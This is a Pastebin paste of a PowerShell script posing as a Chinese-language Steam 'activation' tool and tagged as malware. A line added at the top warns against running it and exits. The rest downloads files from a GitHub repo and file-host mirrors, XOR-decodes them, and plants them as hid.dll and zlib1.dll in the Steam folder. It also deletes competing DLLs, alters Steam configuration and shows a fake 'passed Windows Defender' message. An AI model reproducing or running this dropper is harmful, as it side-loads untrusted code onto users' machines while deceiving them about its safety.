Guest User

Untitled

a guest
Jun 24th, 2025
1,285
0
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PowerShell 18.82 KB | Source Code | 0 0
  1. # ====== START OF ADDED CODE =====
  2. Write-Host "This is malware. Don't run this shit !"
  3. exit 1
  4. # ====== END OF ADDED CODE =======
  5. Clear-Host
  6. #Requires -RunAsAdministrator
  7. [Console]::OutputEncoding = [System.Text.Encoding]::UTF8
  8. $ErrorActionPreference = "SilentlyContinue"
  9.  
  10. Write-Host -NoNewline "                                                                                                                               `r"
  11. Write-Host -NoNewline "                                                        %@@@@@@@@@@@@                                                          `r"
  12. Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@                                                     `r"
  13. Write-Host -NoNewline "                                                %@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
  14. Write-Host -NoNewline "                                              @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
  15. Write-Host -NoNewline "                                            @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:                                             `r"
  16. Write-Host -NoNewline "                                          %@@@@@@@@@@@@@@@@@@@@@@@@:        %@@@@@@                                            `r"
  17. Write-Host -NoNewline "                                         @@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@  @@@@@                                           `r"
  18. Write-Host -NoNewline "                                        @@@@@@@@@@@@@@@@@@@@@@@     @        @  :@@@@                                         `r"
  19. Write-Host -NoNewline "                                       @@@@@@@@@@@@@@@@@@@@@@@     @         :@   @@@@                                        `r"
  20. Write-Host -NoNewline "                                      @@@@@@@@@@@@@@@@@@@@@@@     @           -@   @@@@@                                        `r"
  21. Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@@@     @             @   @@@@@@                                      `r"
  22. Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@        @           @    @@@@@@@                                     `r"
  23. Write-Host -NoNewline "                                    *@@@@@@@@@@@@@@@@@@@@.         @         @    @@@@@@@@                                     `r"
  24. Write-Host -NoNewline "                                        *@@@@@@@@@@@@@@@            @@@@@@@@@    @@@@@@@@@                                     `r"
  25. Write-Host -NoNewline "                                            +@@@@@@@@@@                         @@@@@@@@@@                                     `r"
  26. Write-Host -NoNewline "                                                +@@                           @@@@@@@@@@@@                                     `r"
  27. Write-Host -NoNewline "                                                     @@@@@                 @@@@@@@@@@@@@@@                                     `r"
  28. Write-Host -NoNewline "                                                          @           @@@@@@@@@@@@@@@@@@@                                      `r"
  29. Write-Host -NoNewline "                                      @@@                  @   @@@@@@@@@@@@@@@@@@@@@@@@%                                       `r"
  30. Write-Host -NoNewline "                                       @@@@@@    @        @   -@@@@@@@@@@@@@@@@@@@@@@@@                                        `r"
  31. Write-Host -NoNewline "                                       .@@@@@@    @      @    @@@@@@@@@@@@@@@@@@@@@@@@                                         `r"
  32. Write-Host -NoNewline "                                         @@@@@@-   @@@@@@    @@@@@@@@@@@@@@@@@@@@@@@%                                          `r"
  33. Write-Host -NoNewline "                                          @@@@@@@           @@@@@@@@@@@@@@@@@@@@@@@                                            `r"
  34. Write-Host -NoNewline "                                            @@@@@@@@:    @@@@@@@@@@@@@@@@@@@@@@@@@                                             `r"
  35. Write-Host -NoNewline "                                             *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
  36. Write-Host -NoNewline "                                                @@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
  37. Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@@%                                                    `r"
  38. Write-Host -NoNewline "                                                       @@@@@@@@@@@@@@@+                                                        `r"
  39. Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r"
  40. Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r"
  41. Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r"
  42. Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r"
  43. Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r"
  44. Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r"
  45. Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r"
  46. Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r"
  47. Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r"
  48. Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r"
  49. Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r"
  50. Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r"
  51. Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r"
  52. Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r"
  53. Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r"
  54. Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r"
  55. Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r"
  56. Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r"
  57. Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r"
  58. Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r"
  59. Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r"
  60.  
  61.  
  62.  
  63.  
  64. function Get-DownloadUrl
  65. {
  66.     param (
  67.         [string]$fid,
  68.         [string]$p = $null
  69.     )
  70.     try
  71.     {
  72.         $baseUrl = 'https://www.lanzoup.com'
  73.         $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
  74.     }
  75.     catch
  76.     {
  77.         $baseUrl = 'https://www.lanzoui.com'
  78.         $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
  79.     }
  80.     $content = $response.Content
  81.     $locUrl = [regex]::Match($content, 'window.location.href="(.*?)";').Groups[1].Value
  82.     if ($locUrl)
  83.     {
  84.         $response = Invoke-WebRequest -UseBasicParsing -Uri $locUrl -Headers @{ 'User-Agent' = '' }
  85.         $content = $response.Content
  86.     }
  87.     $iframeUrl = [regex]::Match($content, '<iframe class="ifr2" .*? src="(.*?)" .*?></iframe>').Groups[1].Value
  88.     if ($iframeUrl)
  89.     {
  90.         $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl$iframeUrl" -Headers @{ 'User-Agent' = '' } -Method Post
  91.         $content = $response.Content
  92.         $sign = [regex]::Match($content, "var wp_sign = '(.*?)';").Groups[1].Value
  93.     }
  94.     else
  95.     {
  96.         $sign = [regex]::Match($content, "var skdklds = '(.*?)';").Groups[1].Value
  97.     }
  98.     if (-not$sign)
  99.     {
  100.         return
  101.     }
  102.     $urlMatch = [regex]::Match($content, "url : '(.*?file=\d{2,})',").Groups[1].Value
  103.     if (-not$urlMatch)
  104.     {
  105.         return
  106.     }
  107.     $headers = @{
  108.         'User-Agent' = ''
  109.         'Referer' = $response.BaseResponse.ResponseUri.AbsoluteUri
  110.     }
  111.     $body = @{ 'action' = 'downprocess'; 'sign' = $sign; 'kd' = 1 }
  112.     if ($null -ne $p)
  113.     {
  114.         $body['p'] = $p
  115.     }
  116.     $response = Invoke-RestMethod -Uri "$baseUrl$urlMatch" -Headers $headers -Method Post -Body $body
  117.     if ($null -eq $response)
  118.     {
  119.         return
  120.     }
  121.     $dom = $response.dom
  122.     if (-not$dom)
  123.     {
  124.         return
  125.     }
  126.     $downloadUrl = $response.url
  127.     if (-not$downloadUrl)
  128.     {
  129.         return
  130.     }
  131.     return "$dom/file/$downloadUrl"
  132. }
  133.  
  134. function Invoke-WithRetry
  135. {
  136.     param(
  137.         [scriptblock]$ScriptBlock,
  138.         [int]$MaxRetries = 10,
  139.         [int]$DelaySeconds = 1
  140.     )
  141.     $retryCount = 0
  142.     while ($retryCount -lt $MaxRetries)
  143.     {
  144.         try
  145.         {
  146.             return & $ScriptBlock
  147.         }
  148.         catch
  149.         {
  150.             $retryCount++
  151.             if ($retryCount -ge $MaxRetries)
  152.             {
  153.                 throw $_
  154.             }
  155.             Start-Sleep -Seconds $DelaySeconds
  156.         }
  157.     }
  158. }
  159.  
  160. function DownloadFile
  161. {
  162.     param(
  163.         [string]$url,
  164.         [string]$savePath,
  165.         [string]$hash,
  166.         [string]$targetPath,
  167.         [string]$fid
  168.     )
  169.     if (-not$targetPath)
  170.     {
  171.         $targetPath = $savePath
  172.     }
  173.     if ((Test-Path $targetPath) -and ((Get-FileHash -Path $targetPath -Algorithm MD5).Hash -eq $hash))
  174.     {
  175.         return
  176.     }
  177.     if (Test-Path $savePath)
  178.     {
  179.         Remove-Item -Path $savePath -Force -ErrorAction Stop
  180.     }
  181.     Add-Type -TypeDefinition "using System.IO;public class XorUtil{public static void XorFile(string p,byte key){var b=File.ReadAllBytes(p);for(int i=0;i<b.Length;i++)b[i]^=key;File.WriteAllBytes(p,b);}}";
  182.     $urls = @()
  183.     if ($fid)
  184.     {
  185.  
  186.         try
  187.         {
  188.             $urls += (Get-DownloadUrl -fid $fid)
  189.         }
  190.         catch
  191.         {
  192.         }
  193.     }
  194.     $urls += $url
  195.     $err = $null
  196.     Invoke-WithRetry -ScriptBlock {
  197.         foreach ($url in $urls)
  198.         {
  199.             try
  200.             {
  201.                 $job = Start-Job -ScriptBlock {
  202.                     param($url, $savePath)
  203.                     Invoke-RestMethod -Uri $url -Headers @{ 'Accept-Language' = 'zh-CN' } -OutFile $savePath -ErrorAction Stop
  204.                 } -ArgumentList $url, $savePath
  205.                 $job | Wait-Job -Timeout 30 | Out-Null
  206.                 if ($job.State -eq "Running")
  207.                 {
  208.                     $job | Stop-Job -PassThru | Remove-Job -Force
  209.                     throw "下载超时"
  210.                 }
  211.                 [XorUtil]::XorFile($savePath, 0x73)
  212.                 return
  213.             }
  214.             catch
  215.             {
  216.                 $err = $_
  217.             }
  218.         }
  219.         if (-not($null -eq $err))
  220.         {
  221.             throw $err
  222.         }
  223.     }
  224. }
  225.  
  226.  
  227. try
  228. {
  229.  
  230.     $filePathToDelete = "a.ps1"
  231.     if (Test-Path $filePathToDelete)
  232.     {
  233.         Remove-Item -Path $filePathToDelete -Force
  234.     }
  235.  
  236.     $targetDirectory = Join-Path $env:APPDATA "Stool"
  237.     if (-not(Test-Path $targetDirectory))
  238.     {
  239.         New-Item -Path $targetDirectory -ItemType Directory | Out-Null
  240.     }
  241.  
  242.     $savePathZip = Join-Path $targetDirectory "legit"
  243.  
  244.     Write-Host ""
  245.     Write-Host ""
  246.     Write-Host "  [STEAM] 激活进程准备中,请稍候..."
  247.  
  248.     $steamRegPath = 'HKCU:\Software\Valve\Steam'
  249.     $steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath
  250.     if ($null -eq $steamPath)
  251.     {
  252.         Write-Host "  [STEAM] Steam 可能没有正确安装,请重新安装 Steam 后再试" -ForegroundColor Red
  253.         exit
  254.     }
  255.     $exePath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamExe').SteamExe
  256.     $exePid = (Get-ItemProperty -Path ($steamRegPath + "\ActiveProcess") -Name 'pid').pid
  257.     if ($null -ne $exePid)
  258.     {
  259.         Stop-Process -Id $exePid -ErrorAction SilentlyContinue
  260.     }
  261.     $registryPath = "HKCU:\Software\Valve\Steamtools"
  262.     if (-not(Test-Path $registryPath))
  263.     {
  264.         New-Item -Path $registryPath -Force | Out-Null
  265.     }
  266.     Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null
  267.     Remove-ItemProperty -Path $registryPath -Name "c" | Out-Null
  268.     if (Test-Path "env:c")
  269.     {
  270.         Set-ItemProperty -Path $registryPath -Name "c" -Value $env:c -Type DWORD | Out-Null
  271.     }
  272.  
  273.     $runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }
  274.     $runningProcess | ForEach-Object {
  275.         Stop-Process $_ -Force
  276.     }
  277.  
  278.     if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') ))
  279.     {
  280.         Write-Host "  [STEAM] 请使用管理员模式运行" -ForegroundColor Red
  281.     }
  282.  
  283.  
  284.     $waitTimes = 10
  285.     while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" })
  286.     {
  287.         Start-Sleep -Seconds 1
  288.         $waitTimes--
  289.         if ($waitTimes -lt 0)
  290.         {
  291.             break
  292.         }
  293.     }
  294.  
  295.     $ProgressPreference = 'SilentlyContinue'
  296.     DownloadFile -url 'https://github.com/steam-run/aa/raw/master/legit' -savePath $savePathZip -hash '3D32EEDBDCE0E43FB19D8FD36ADBCF9F'
  297.  
  298.     $savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"
  299.     $savePathTxt1 = Join-Path $targetDirectory "winhttp-log1.txt"
  300.  
  301.     if (Get-Service | where-object{ $_.name -eq "windefend" -and $_.status -eq "running" })
  302.     {
  303.         #            Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
  304.         #            Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
  305.         Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
  306.     }
  307.     else
  308.     {
  309.         Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
  310.     }
  311.  
  312.     $appCacheDirectory = Join-Path $steamPath "appcache"
  313.     $savePathVdf = Join-Path $appCacheDirectory "appdata.vdf"
  314.  
  315.     if (-not(Test-Path $appCacheDirectory))
  316.     {
  317.         New-Item -Path $appCacheDirectory -ItemType Directory -ErrorAction Stop | Out-Null
  318.     }
  319.  
  320.     $steamTxt = Join-Path $steamPath "hid.log"
  321.     $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")
  322.     $steamTxt1 = Join-Path $steamPath "zlib1.log"
  323.     $d_path1 = [System.IO.Path]::ChangeExtension($steamTxt1, ".dll")
  324.  
  325.     DownloadFile -url 'https://github.com/steam-run/aa/raw/master/2/appdata.vdf' -savePath $savePathVdf -hash '0921A94753C0BE443470AC52D17F313A'
  326.     DownloadFile -url 'https://github.com/steam-run/aa/raw/master/2/hid.dll' -savePath $savePathTxt -hash '8AF54131FDCFF059BE41282A1BAF3FA5' -targetPath $d_path
  327.     DownloadFile -url 'https://github.com/steam-run/aa/raw/master/2/zlib1.dll' -savePath $savePathTxt1 -hash '822F765B45F77AE59E7C6091E69E3814' -targetPath $d_path1
  328.  
  329.     foreach ($file in @("steam.cfg", "version.dll", "user32.dll"))
  330.     {
  331.         $filePath = Join-Path $steamPath $file
  332.         if (Test-Path $filePath)
  333.         {
  334.             Remove-Item $filePath -Force
  335.         }
  336.     }
  337.  
  338.     if (Test-Path $savePathTxt)
  339.     {
  340.         Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop
  341.         if (Test-Path $savePathTxt)
  342.         {
  343.             Remove-Item $savePathTxt -Force
  344.         }
  345.  
  346.         if (Test-Path $d_path)
  347.         {
  348.             Remove-Item $d_path -Force -ErrorAction Stop
  349.         }
  350.         Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop
  351.     }
  352.  
  353.     if (Test-Path $savePathTxt1)
  354.     {
  355.         Move-Item -Path $savePathTxt1 -Destination $steamTxt1 -Force -ErrorAction Stop
  356.         if (Test-Path $savePathTxt1)
  357.         {
  358.             Remove-Item $savePathTxt1 -Force
  359.         }
  360.  
  361.         if (Test-Path $d_path1)
  362.         {
  363.             Remove-Item $d_path1 -Force -ErrorAction Stop
  364.         }
  365.         Rename-Item -Path $steamTxt1 -NewName $d_path1 -Force -ErrorAction Stop
  366.     }
  367.  
  368.     $loginUsersPath = Join-Path $steamPath "config\loginusers.vdf"
  369.     if (Test-Path $loginUsersPath)
  370.     {
  371.         (Get-Content $loginUsersPath -Encoding UTF8) -replace '("WantsOfflineMode"\s+)("\d+")', "`$1`"0`"" | Set-Content $loginUsersPath -Encoding UTF8
  372.     }
  373.  
  374.     $configPath = Join-Path $steamPath "config\config.vdf"
  375.     if (Test-Path $configPath)
  376.     {
  377.         (Get-Content $configPath -Encoding UTF8) -replace '("DisableShaderCache"\s+)("\d+")', "`$1`"1`"" | Set-Content $configPath -Encoding UTF8
  378.     }
  379.  
  380.     if (-not(Test-Path $exePath))
  381.     {
  382.         $exePath = Join-Path $steamPath "steam.exe"
  383.     }
  384.  
  385.     if (Test-Path $exePath)
  386.     {
  387.         Invoke-Expression -Command "start steam://open/activateproduct"
  388.     }
  389.     else
  390.     {
  391.         Write-Host "  [STEAM] 主进程 $exePath 丢失,安装失败"
  392.         exit
  393.     }
  394.  
  395.     Write-Host "  [STEAM] 激活进程准备就绪,Steam 打开中,请稍候..."
  396.  
  397.     for ($i = 9; $i -ge 0; $i--) {
  398.         Write-Host "`r  [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
  399.         Start-Sleep -Seconds 1
  400.     }
  401.  
  402.     $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"
  403.     while ($null -ne $instance -and -not($instance.ProcessName -ne "powershell.exe" -and $instance.ProcessName -ne "WindowsTerminal.exe"))
  404.     {
  405.         $parentProcessId = $instance.ProcessId
  406.         $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$( $instance.ParentProcessId )'"
  407.     }
  408.     if ($null -ne $parentProcessId)
  409.     {
  410.         Stop-Process -Id $parentProcessId -Force -ErrorAction SilentlyContinue
  411.     }
  412.  
  413.     exit
  414. }
  415. catch
  416. {
  417.     Write-Host "发生错误:$( $_.Exception.Message )"
  418. }
Tags: malware
Advertisement
Comments
  • NMSL
    78 days
    Comment was deleted
  • NMSL
    78 days
    # text 0.98 KB | 0 0
    1. ⣿⣿⣿⣿⣿⠟⠋⠄⠄⠄⠄⠄⠄⠄⢁⠈⢻⢿⣿⣿⣿⣿⣿⣿⣿
    2. ⣿⣿⣿⣿⣿⠃⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⡀⠭⢿⣿⣿⣿⣿
    3. ⣿⣿⣿⣿⡟⠄⢀⣾⣿⣿⣿⣷⣶⣿⣷⣶⣶⡆⠄⠄⠄⣿⣿⣿⣿
    4. ⣿⣿⣿⣿⡇⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠄⠄⢸⣿⣿⣿⣿
    5. ⣿⣿⣿⣿⣇⣼⣿⣿⠿⠶⠙⣿⡟⠡⣴⣿⣽⣿⣧⠄⢸⣿⣿⣿⣿
    6. ⣿⣿⣿⣿⣿⣾⣿⣿⣟⣭⣾⣿⣷⣶⣶⣴⣶⣿⣿⢄⣿⣿⣿⣿⣿
    7. ⣿⣿⣿⣿⣿⣿⣿⣿⡟⣩⣿⣿⣿⡏⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
    8. ⣿⣿⣿⣿⣿⣿⣹⡋⠘⠷⣦⣀⣠⡶⠁⠈⠁⠄⣿⣿⣿⣿⣿⣿⣿
    9. ⣿⣿⣿⣿⣿⣿⣍⠃⣴⣶⡔⠒⠄⣠⢀⠄⠄⠄⡨⣿⣿⣿⣿⣿⣿
    10. ⣿⣿⣿⣿⣿⣿⣿⣦⡘⠿⣷⣿⠿⠟⠃⠄⠄⣠⡇⠈⠻⣿⣿⣿⣿
    11. ⣿⣿⣿⣿⡿⠟⠋⢁⣷⣠⠄⠄⠄⠄⣀⣠⣾⡟⠄⠄⠄⠄⠉⠙⠻
    12. ⡿⠟⠋⠁⠄⠄⠄⢸⣿⣿⡯⢓⣴⣾⣿⣿⡟⠄⠄⠄⠄⠄⠄⠄⠄
    13. ⠄⠄⠄⠄⠄⠄⠄⣿⡟⣷⠄⠹⣿⣿⣿⡿⠁⠄⠄⠄⠄⠄⠄⠄⠄
  • NMSL
    78 days
    # text 0.03 KB | 0 0
    1. 回來DC繼續瞎掰,我還想看
Add Comment
Please, Sign In to add comment